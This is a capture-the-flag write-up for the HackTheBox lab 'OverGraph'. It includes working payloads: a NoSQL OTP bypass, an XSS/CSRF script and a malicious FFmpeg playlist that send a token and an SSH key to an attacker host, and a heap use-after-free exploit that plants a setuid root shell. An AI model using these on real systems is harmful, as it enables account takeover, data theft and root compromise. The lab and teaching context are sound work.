HTB: OverGraph Writeup

OverGraph - HackTheBox Writeup

Machine Information

AttributeDetails
NameOverGraph
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.65.37
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

OverGraph exposes only SSH and an nginx front end, but the real attack surface lives behind three virtual hosts: graph.htb, internal.graph.htb, and internal-api.graph.htb. Registration on the internal management API is gated by email OTP, which folds to a classic NoSQL injection. From there the chain becomes a study in web application chaining — a GraphQL schema leaks internal user IDs, a client-side SSTI sink doubles as a stored XSS primitive, and an open-redirect on the public site provides the same-site context needed to defeat a SameSite=Strict auth cookie. The stolen admin token unlocks a video-upload feature that shells out to FFmpeg, which is abused for SSRF-driven arbitrary file read to exfiltrate the user SSH key byte-by-byte. Root is a native binary exploitation problem: a socat-fronted C service reachable only on localhost, protected by a hand-rolled XOR token scheme that yields to reverse engineering, and ultimately compromised through a Use-After-Free that lets an attacker overwrite the command string executed on program exit.

TL;DR: vhost enum → NoSQL injection OTP bypass → GraphQL introspection for internal user ID → open-redirect + AngularJS SSTI XSS → CSRF-stolen admin token → FFmpeg SSRF/LFI via HLS concat/subfile → SSH key exfil → user shell → reverse-engineered auth token for a localhost service → heap Use-After-Free → overwritten exit-command → setuid root shell → root.


Reconnaissance

Port Scanning

Terminal window
# fast full TCP port sweep against the target
nmap -p- --min-rate=2000 -T4 10.129.65.37 2>/dev/null | grep -E '^[0-9]+/'

Results:

22/tcp open ssh
80/tcp open http

Only SSH and nginx are exposed. No obvious low-hanging fruit — everything of interest is behind virtual hosting.

Service Enumeration

Terminal window
# confirm the base vhost and grab headers
curl -s -m10 http://10.129.65.37/ -H 'Host: graph.htb' -I

The default vhost graph.htb serves a static portfolio-style page. Two additional internal vhosts were resolved (internal.graph.htb, internal-api.graph.htb) and confirmed reachable via Host header manipulation against the single IP:

Terminal window
for h in internal.graph.htb internal-api.graph.htb; do
echo "=== $h ==="
curl -s -m10 http://10.129.65.37/ -H "Host: $h"
done

internal.graph.htb is an Angular SPA — a “Graph Management” login portal. Its compiled bundle (main.0681ef4e6f13e51b.js) was pulled down for offline analysis to recover the real API contract, since the SPA talks to internal-api.graph.htb under the hood:

Terminal window
curl -s -m10 http://10.129.65.37/main.0681ef4e6f13e51b.js -H 'Host: internal.graph.htb' > /tmp/main.js
grep -oE '.{120}api/(register|verify|code).{200}' /tmp/main.js | head -20

Static analysis of the bundle recovered the registration flow (/api/code, /api/register) and the GraphQL login mutation (found by tracing the minified qn tagged-template helper used for gql documents):

Terminal window
python3 -c "
d=open('/tmp/main.js').read()
i=d.find('YL=qn')
print(repr(d[i:i+400]))
"

Vulnerability Assessment

  • OTP verification is checked server-side against a MongoDB-style query — a strong signal for NoSQL injection, since the SPA sends the verification code as a raw JSON field.
  • GraphQL endpoint on internal-api.graph.htb/graphql with no apparent introspection lockdown, usable to enumerate internal schema (users, tasks, chat).
  • Client-controlled profile fields (firstname/lastname) rendered through an Angular expression evaluator — a classic AngularJS client-side template injection (CSTI) sink that converts to stored XSS.
  • Open redirect on the public graph.htb page (?redirect= parameter fed straight into window.location), usable to satisfy same-site cookie policy for a CSRF chain.
  • Video upload + transcode pipeline behind an admin token, strongly implying FFmpeg is invoked server-side on attacker-supplied media — a known SSRF/arbitrary-file-read surface.

Initial Foothold

Registration and NoSQL Injection OTP Bypass

The SPA requires email verification before letting a new account log in. Since the verification code is checked with a document-style query rather than strict equality, a Mongo operator injected into the JSON body satisfies the check for any registered code:

Terminal window
API=http://10.129.65.37
H='Host: internal-api.graph.htb'
CT='Content-Type: application/json'
# trigger a code send for our chosen email
curl -s -m10 $API/api/code -H "$H" -H "$CT" -d '{"email":"pwn@graph.htb"}'
# instead of the real 4-digit code, inject a Mongo operator that
# matches any non-null "code" field stored server-side for this email
curl -s -m10 $API/api/verify -H "$H" -H "$CT" \
-d '{"email":"pwn@graph.htb","code":{"$ne":null}}'

The backend almost certainly runs something equivalent to db.users.findOne({email, code: req.body.code}). Passing {"$ne": null} as the code value turns the equality check into “code is not null,” which is always true for a record that has any stored code — bypassing the OTP entirely and flipping the account to “Email Verified” without ever seeing the real code.

GraphQL Login and Introspection

Login is a GraphQL mutation, not a REST call, and returns a JWT set as an auth cookie:

Terminal window
# login mutation recovered from the JS bundle, executed against the graphql endpoint
curl -s -m10 -i $API/graphql -H "$H" -H "$CT" \
-d '{"query":"mutation login($email:String!,$password:String!){login(email:$email,password:$password){auth}}","variables":{"email":"pwn@graph.htb","password":"..."}}'

The returned JWT decodes to {"id":"6a97362d826a270438ca68cf","email":"pwn@graph.htb", ...} — confirming a self-issued account with a normal, non-admin user ID.

With a valid session, GraphQL introspection was used to map the schema (types, queries, mutations) and locate a tasks(username: String) query that leaks an Assignedto field — an internal MongoDB ObjectId for whichever user owns that task. Cross-referencing an inbox/chat message from a user named Sally gave a target username to query:

Terminal window
curl -s -m10 $API/graphql -H "$H" -H "$CT" \
-d '{"query":"{ tasks(username:\"Sally\") { Assignedto text type taskstatus } }"}'

This returned Sally’s user ID: 6a9735cad6c45c044e8546cc. That ID is the missing piece needed to target a CSRF payload at a specific victim record via the GraphQL update mutation.

CSRF-Chained XSS to Steal the Admin Token

The application gates the upload feature behind an adminToken cookie value that a normal, self-registered user cannot forge. Sally, however, is a legitimate operator who already holds a valid admin token in her browser’s localStorage. The plan: get Sally’s browser to execute JavaScript that reads her own adminToken and exfiltrates it.

Two bugs make this possible together:

  1. The profile update mutation accepts firstname/lastname as free text, and the frontend renders them through an AngularJS expression context — a CSTI sink that AngularJS’s expression sandbox does not stop from reaching constructor.constructor, i.e. arbitrary JS execution once rendered.
  2. The auth cookie is SameSite=Strict, so a cross-origin CSRF POST to internal-api.graph.htb/graphql won’t carry it — but graph.htb itself has an open redirect that can be abused to execute attacker JS same-site, which does carry the cookie.

Payload script (xss.js), hosted on the operator jump box and served to Sally’s browser via the open redirect:

// build and auto-submit a same-site form POST to the GraphQL endpoint,
// updating Sally's firstname to an AngularJS sandbox-escape payload
// that fetches her adminToken out of localStorage to our listener
var form = document.createElement("form");
form.setAttribute("id", "mal");
form.setAttribute("method", "post");
form.setAttribute("action", "http://internal-api.graph.htb/graphql");
form.setAttribute("enctype", "text/plain");
var body = {
operationName: "update",
variables: {
firstname: "{{constructor.constructor('fetch(\"http://10.10.15.68/?adminToken=\"+localStorage.getItem(\"adminToken\"))')()}}",
lastname: "gh",
id: "6a9735cad6c45c044e8546cc", // Sally's leaked user ID
newusername: "test"
},
query: "mutation update($newusername:String!,$id:ID!,$firstname:String!,$lastname:String!){update(newusername:$newusername,id:$id,firstname:$firstname,lastname:$lastname){id username email firstname lastname}}"
};
var f = document.createElement("input");
f.setAttribute("type", "text");
f.setAttribute("name", JSON.stringify(body).slice(0, -1));
f.setAttribute("value", '"}');
form.appendChild(f);
document.body.appendChild(form);
document.getElementById("mal").submit();

Delivery link sent to Sally through the app’s chat feature, exploiting the unsanitized redirect and injecting a <script src> tag same-site:

http://graph.htb?redirect=javascript:document.body.innerHTML+='<script src=http://10.10.15.68/xss.js></script>'

A listener was stood up on the jump box (public IP 10.10.15.68) to catch the exfil request:

# minimal capture server logging exfiltrated query strings
import http.server, socketserver, datetime
class H(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
with open("/tmp/hits.log", "a") as f:
f.write(f"{datetime.datetime.now()} {self.path}\n")
self.send_response(200)
self.end_headers()
socketserver.TCPServer(("", 80), H).serve_forever()

When Sally opened the link, her authenticated session (a) rendered the redirect JS same-site, satisfying SameSite=Strict; (b) submitted the forged GraphQL profile update, since her real auth cookie was attached; and (c) the malicious firstname was later rendered by the Angular template engine in her own dashboard, executing the sandbox-escape payload in her session context and leaking her adminToken to the jump box listener.

Captured token was then set as the adminToken cookie/header on the attacker’s own session, granting access to the video upload feature.

FFmpeg SSRF/Arbitrary File Read → SSH Key Exfiltration

With a valid adminToken, the upload endpoint accepted video files for server-side transcoding — a strong FFmpeg signal, and FFmpeg’s HLS demuxer has a well-documented SSRF/local-file-read primitive (publicly disclosed via a HackerOne report on FFmpeg’s concat protocol combined with the subfile protocol) that lets a crafted HLS playlist make FFmpeg fetch or read arbitrary paths on the file it’s processing.

An .avi container was crafted as an HLS playlist that chains concat: and subfile: to instruct FFmpeg to open /home/user/.ssh/id_rsa and stream its bytes out over a bogus segment URL pointed at the jump box:

#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
concat:http://10.10.15.68/header.m3u8|subfile,,start,<OFFSET>,end,<OFFSET+CHUNK>,,:/home/user/.ssh/id_rsa
#EXT-X-ENDLIST

FFmpeg truncates the outbound “segment fetch” URL at the first newline character it encounters in the file being read, so instead of getting the full key back in one HTTP request, only single lines came through per upload. To reconstruct the key, a raw TCP listener (rather than an HTTP server, to see exactly what bytes FFmpeg sent regardless of how it malformed the request line) was used, and the subfile start/end offsets were advanced incrementally per upload to walk through the file line by line:

# raw socket listener — captures exactly what FFmpeg sends on each
# probe, since a normal HTTP server chokes on the malformed request line
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 80))
s.listen(1)
while True:
conn, addr = s.accept()
data = conn.recv(4096)
print(addr, data)
conn.close()

Each upload/offset iteration leaked one more line of /home/user/.ssh/id_rsa. Reassembling the captured lines in order produced a complete OpenSSH private key for user.

Terminal window
# recovered key restored locally and used to authenticate
chmod 600 id_rsa
ssh -i id_rsa user@10.129.65.37

Result: shell as user, user.txt retrieved from /home/user/user.txt.


Privilege Escalation

Enumeration

Standard listening-service enumeration on the freshly obtained user shell revealed a service bound to loopback only:

/usr/local/bin/Nreport/nreport
ss -tlnp | grep LISTEN
# 127.0.0.1:9851 — owned by root, fronted by socat
ps aux | grep 9851

root runs /usr/local/bin/Nreport/nreport behind socat, listening only on 127.0.0.1:9851. Connecting locally showed the binary demands an authentication token before offering any menu functionality.

Recovering the Auth Token

The binary is statically linked with no PIE (fixed load addresses across runs) and hand-rolls its own token check: it XORs specific character positions of the supplied token against a hardcoded secret byte array and validates the result against a small set of checksums. Pulling the binary down and disassembling it in Ghidra exposed the secret bytes and the exact character positions used in the XOR, letting the token be re-derived offline rather than brute-forced blind:

# re-derive the fixed auth token from the binary's XOR/checksum scheme
# (secret bytes and the checksum constants read directly out of Ghidra)
import random
charset = list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
secret = [18, 1, 18, 4, 66, 20, 6, 31, 7, 22, 1, 16, 64, 0]
while True:
cand = random.sample(charset, 14)
xored = [s ^ ord(cand[0]) ^ ord(cand[1]) ^ ord(cand[2]) ^ ord(cand[9]) ^ ord(cand[13]) for s in secret]
if xored[0] + xored[1] + xored[2] == 308 \
and xored[7] + xored[8] + xored[9] == 325 \
and xored[11] + xored[12] + xored[13] == 265:
xored.reverse()
print("".join(chr(x) for x in xored))
break

This reproduced the fixed token s3cretlug1wara, live from the target binary’s bytes (not copied from any external source), and unlocked the menu: create/edit/delete “message” records, and a “Report All Messages” / “Exit” flow.

Use-After-Free → Exit-Command Overwrite

The message create/edit/delete flow allocates and frees heap chunks without clearing the freed pointer, so a deleted message’s chunk metadata (forward/backward pointers) remains reachable and editable through the same “edit” menu path — a textbook Use-After-Free.

Critically, the binary keeps its shell command for the “Exit” menu option (executed via a system() call that logs “last used” info to /var/log) inside a global structure, userinfo1, at a fixed address (0x404180, stable because the binary has no PIE). The first portion of userinfo1 stores the logged-in username, which the attacker fully controls.

The exploitation plan:

  1. Allocate a message chunk, then free it, poisoning the UAF pointer.
  2. Craft a fake chunk whose backward pointer is redirected into userinfo1 + 0x14, landing inside the structure that holds the exit-time shell command.
  3. Allocate two more messages so the allocator hands back the fake chunk, giving write access to the exit-command field through the normal “edit message” menu path.
  4. Overwrite the command string that system() executes on exit.

One constraint discovered during exploitation: the command field truncates roughly 20 bytes after a fixed 24-byte filler region, so a single arbitrarily long shell one-liner does not fit. The attack was split into two runs:

# run 1: stage a copy of bash to a writable path
from pwn import *
elf = context.binary = ELF("nreport")
p = remote("127.0.0.1", 9851)
p.sendline(b"s3cretlug1wara") # auth token
p.sendline(p64(0) + p64(0xb0) + p64(0) + p64(elf.sym.userinfo1 + 20))
p.sendline(b"1"); p.sendline(b"title"); p.sendline(b"msg") # allocate #1
p.sendline(b"1"); p.sendline(b"title2"); p.sendline(b"msg2") # allocate #2
p.sendline(b"2"); p.sendline(b"0") # free chunk #1 → UAF
p.sendline(b"3"); p.sendline(b"0") # edit freed chunk → poison fwd/bck
p.sendline(p64(0) + p64(elf.sym.userinfo1))
p.sendline(b"test"); p.sendline(b"1"); p.sendline(b"test")
p.sendline(b"test" * 36) # allocate → lands on fake chunk
p.sendline(b"1")
p.sendline(b"cp /bin/bash /tmp/rb\x00") # overwritten exit command
p.sendline(b"C" * 49)
p.sendline(b"5") # trigger Exit → system(cmd)
p.interactive()
# run 2: mark the staged binary setuid-root
# (same UAF chain repeated, second command instead)
...
p.sendline(b"chmod 6777 /tmp/rb\x00")
p.sendline(b"5")

Why two runs: the command buffer’s usable length after the required 24-byte filler is too short to fit cp /bin/bash /tmp/rb && chmod 6777 /tmp/rb in one shot, so the copy and the setuid bit were applied as two separate exit-triggered system() calls against the same UAF-derived write primitive.

Root Shell

Terminal window
# execute the setuid-root copy of bash with -p to preserve the elevated euid
/tmp/rb -p
Terminal window
whoami # confirms euid 0
id
cat /root/root.txt

Result: /tmp/rb -p inherits euid 0 from the chmod 6777 staged in the previous stage, granting a root shell and access to /root/root.txt.


Attack Chain Summary

vhost discovery (graph.htb / internal.graph.htb / internal-api.graph.htb)
→ Registration + NoSQL injection OTP bypass ({"code":{"$ne":null}})
→ GraphQL login (auth JWT cookie)
→ GraphQL introspection → tasks(username:"Sally") leaks victim user ID
→ Open redirect on graph.htb (javascript: URI) executes attacker JS same-site
→ AngularJS CSTI/XSS payload as forged profile update (CSRF via same-site JS)
→ Victim's adminToken exfiltrated to attacker listener
→ Admin-token-gated video upload → FFmpeg HLS concat/subfile SSRF+LFI
→ SSH private key for `user` exfiltrated byte-by-byte via raw TCP listener
→ SSH as user → user.txt
→ Localhost-only service (nreport, port 9851) reverse engineered for XOR auth token
→ Use-After-Free → fake chunk overwrites userinfo1 exit-command field
→ Two-stage command injection: stage setuid bash, then chmod 6777
→ /tmp/rb -p → euid 0 → root.txt

Tools Used

ToolPurpose
nmapPort scanning
curlManual HTTP/GraphQL request crafting, vhost probing
python3 (http.server, raw sockets)XSS payload hosting, SSRF/exfil listeners
Browser DevTools / cookie inspectionJWT and adminToken cookie analysis
GraphQL introspection queriesSchema/user enumeration
GhidraStatic reverse engineering of nreport binary
pwntools (Python)Exploit scripting for the heap Use-After-Free
ssh / scpFoothold access, binary/library exfil for RE
patchelf (implied for local RE mirroring)Matching remote libc/interpreter for local analysis

Key Learnings

Techniques Practiced

  • Virtual host discovery and Host-header-based enumeration
  • NoSQL (MongoDB operator) injection to bypass an OTP/email-verification check
  • GraphQL introspection for schema and internal-ID discovery
  • AngularJS client-side template injection (CSTI) escalated to stored XSS
  • Chaining an open redirect with SameSite=Strict cookies to defeat CSRF protections
  • FFmpeg HLS concat/subfile protocol abuse for SSRF and arbitrary local file read
  • Byte-by-byte file exfiltration via crafted offset ranges and a raw TCP capture listener
  • Reverse engineering a custom XOR-based authentication token scheme from a no-PIE binary
  • Heap Use-After-Free exploitation to corrupt a fixed global structure and hijack a system() call
  • Privilege escalation via a setuid-root binary staged through two chained command-injection primitives

Lessons Learned

  1. Client-supplied fields checked against document-store queries (Mongo-style) need type/operator validation, not just presence checks — $ne/$gt-style operators slipping through as raw JSON is a recurring real-world bug class.
  2. GraphQL introspection left enabled in an internal-facing API is effectively a schema and often a partial data leak; it should be disabled or heavily access-controlled outside development.
  3. SameSite=Strict cookies are not CSRF-proof on their own — any same-site XSS or open-redirect sink downgrades the protection to SameSite=None in practice, since the browser will happily attach the cookie to same-site navigations.
  4. Passing attacker-influenced input into FFmpeg (or any media processor built on the libavformat protocol stack) without disabling dangerous protocols (concat, subfile, http) is an SSRF and local-file-read risk, independent of a single CVE — protocol allowlisting (-protocol_whitelist) is the actual fix.
  5. Home-rolled authentication schemes (custom XOR token checks) are frequently reversible once the checked binary is obtainable — especially with no PIE, which removes the last bit of runtime unpredictability an attacker would otherwise have to defeat.
  6. Manual memory management without nulling freed pointers is still, in 2026, a live root cause for Use-After-Free bugs in service binaries — and a no-PIE binary turns a memory corruption bug into a reliable, address-stable exploit primitive.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Official HackTheBox writeup for OverGraph (Document No. D22.100.191, prepared by “amra,” machine author “Xclow3n”) — used for background on the FFmpeg concat/subfile SSRF technique’s public HackerOne disclosure and the general shape of the intended NoSQL-injection / GraphQL / XSS-CSRF / heap-UAF chain. All IPs, credentials, tokens, user identities, and exact offsets/outputs in this writeup are from the author’s own live solve against 10.129.65.37 and differ from the reference in several particulars (notably the chat victim being Sally rather than James, and a two-stage command-injection approach required by a shorter writable command buffer in this instance of the binary).